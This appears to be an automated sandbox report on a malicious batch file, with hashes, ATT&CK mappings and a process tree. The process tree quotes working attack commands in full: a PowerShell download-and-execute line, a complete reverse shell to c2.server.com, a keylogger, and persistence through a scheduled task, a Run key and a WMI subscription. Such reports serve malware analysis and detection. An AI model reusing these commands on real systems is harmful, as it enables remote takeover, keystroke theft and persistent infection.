68b786e37d2389c4e1d05601cd4b1222ce17f6df1d4811b82af7ed7945e73c13

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 01:40

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General

Target
rat_build_178297_014459.bat
Size 4KB
Sample260529-b3hmsshs5m
SHA256 68b786e37d2389c4e1d05601cd4b1222ce17f6df1d4811b82af7ed7945e73c13
MD5 2c26c16a7f18aac609cb825e8e8156e1
SHA1 d235e0f5d6087755202eed5981eadff90d5f1ba8
SHA512 716fd76d8cd6b797f479b74b8a240afaabefcd0a89788b1b35c27c9338d71822dec2182f6169c6c1d6d09edbee93413765cf08fd4ec764cec795f065b3aae4a0
SSDEEP 96:iPI7xW81pQ2Nl2AwPRK2V9Yxs3z52ZWMgBAeiFgZk8mvlo1crfB:iPB81pQ26AQxFIWMWiFgkHln7B
TLSH
T108A1F71723576224D9B5AA14EB323C14536CEEF72305C94DFA888FC0098CE47A52D9E3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_178297.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3048	powershell.exe
788	powershell.exe
4788	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_178297 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_178297.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2284	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2972	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4892	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5756	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
788	powershell.exe
788	powershell.exe
4788	powershell.exe
4788	powershell.exe
3048	powershell.exe
3048	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5052	WMIC.exe
Token: SeSecurityPrivilege	5052	WMIC.exe
Token: SeTakeOwnershipPrivilege	5052	WMIC.exe
Token: SeLoadDriverPrivilege	5052	WMIC.exe
Token: SeSystemProfilePrivilege	5052	WMIC.exe
Token: SeSystemtimePrivilege	5052	WMIC.exe
Token: SeProfSingleProcessPrivilege	5052	WMIC.exe
Token: SeIncBasePriorityPrivilege	5052	WMIC.exe
Token: SeCreatePagefilePrivilege	5052	WMIC.exe
Token: SeBackupPrivilege	5052	WMIC.exe
Token: SeRestorePrivilege	5052	WMIC.exe
Token: SeShutdownPrivilege	5052	WMIC.exe
Token: SeDebugPrivilege	5052	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5052	WMIC.exe
Token: SeRemoteShutdownPrivilege	5052	WMIC.exe
Token: SeUndockPrivilege	5052	WMIC.exe
Token: SeManageVolumePrivilege	5052	WMIC.exe
Token: 33	5052	WMIC.exe
Token: 34	5052	WMIC.exe
Token: 35	5052	WMIC.exe
Token: 36	5052	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5052	WMIC.exe
Token: SeSecurityPrivilege	5052	WMIC.exe
Token: SeTakeOwnershipPrivilege	5052	WMIC.exe
Token: SeLoadDriverPrivilege	5052	WMIC.exe
Token: SeSystemProfilePrivilege	5052	WMIC.exe
Token: SeSystemtimePrivilege	5052	WMIC.exe
Token: SeProfSingleProcessPrivilege	5052	WMIC.exe
Token: SeIncBasePriorityPrivilege	5052	WMIC.exe
Token: SeCreatePagefilePrivilege	5052	WMIC.exe
Token: SeBackupPrivilege	5052	WMIC.exe
Token: SeRestorePrivilege	5052	WMIC.exe
Token: SeShutdownPrivilege	5052	WMIC.exe
Token: SeDebugPrivilege	5052	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5052	WMIC.exe
Token: SeRemoteShutdownPrivilege	5052	WMIC.exe
Token: SeUndockPrivilege	5052	WMIC.exe
Token: SeManageVolumePrivilege	5052	WMIC.exe
Token: 33	5052	WMIC.exe
Token: 34	5052	WMIC.exe
Token: 35	5052	WMIC.exe
Token: 36	5052	WMIC.exe
Token: SeIncreaseQuotaPrivilege	960	WMIC.exe
Token: SeSecurityPrivilege	960	WMIC.exe
Token: SeTakeOwnershipPrivilege	960	WMIC.exe
Token: SeLoadDriverPrivilege	960	WMIC.exe
Token: SeSystemProfilePrivilege	960	WMIC.exe
Token: SeSystemtimePrivilege	960	WMIC.exe
Token: SeProfSingleProcessPrivilege	960	WMIC.exe
Token: SeIncBasePriorityPrivilege	960	WMIC.exe
Token: SeCreatePagefilePrivilege	960	WMIC.exe
Token: SeBackupPrivilege	960	WMIC.exe
Token: SeRestorePrivilege	960	WMIC.exe
Token: SeShutdownPrivilege	960	WMIC.exe
Token: SeDebugPrivilege	960	WMIC.exe
Token: SeSystemEnvironmentPrivilege	960	WMIC.exe
Token: SeRemoteShutdownPrivilege	960	WMIC.exe
Token: SeUndockPrivilege	960	WMIC.exe
Token: SeManageVolumePrivilege	960	WMIC.exe
Token: 33	960	WMIC.exe
Token: 34	960	WMIC.exe
Token: 35	960	WMIC.exe
Token: 36	960	WMIC.exe
Token: SeIncreaseQuotaPrivilege	960	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 5756	3024	cmd.exe	83
PID 3024 wrote to memory of 4892	3024	cmd.exe	84
PID 3024 wrote to memory of 5052	3024	cmd.exe	85
PID 3024 wrote to memory of 960	3024	cmd.exe	86
PID 3024 wrote to memory of 572	3024	cmd.exe	87
PID 3024 wrote to memory of 2972	3024	cmd.exe	89
PID 3024 wrote to memory of 2284	3024	cmd.exe	92
PID 3024 wrote to memory of 788	3024	cmd.exe	93
PID 3024 wrote to memory of 4788	3024	cmd.exe	94
PID 3024 wrote to memory of 3048	3024	cmd.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_178297_014459.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_178297" /tr "C:\Users\Admin\AppData\Local\Temp\_178297.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5756
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_178297" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_178297.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4892
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_178297", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5052
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_178297", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_178297.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:960
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_178297.txt
  2⤵
  PID:572
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:2972
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:2284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_178297.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3048

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1f9961157d87802143cd9097979600d398e46e3a170bb9b83516ee61c0f09d63
MD5 27d12a14a95f95216bdc3ab40a5dfda0
SHA1 a29cd33d685af95982290d6d4b1e8e2e18875d1f
SHA512 48aaf935f30a1974def1ba51e68f52f0e5f761f2108a3cd903e71bf76c6d886cbd622cb474d0e93cfbfb1a00dae29381191bf0b7ecf08b978dd2d36c61818793
TLSH
T1C0119733B39CC574C8D5117A1088AD01B2B2C3CB009ECECB7A84C408E57F5CADB641A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_pkxweu2g.2ov.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pkxweu2g.2ov.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/788-8-0x000001BE4A9D0000-0x000001BE4A9F2000-memory.dmp

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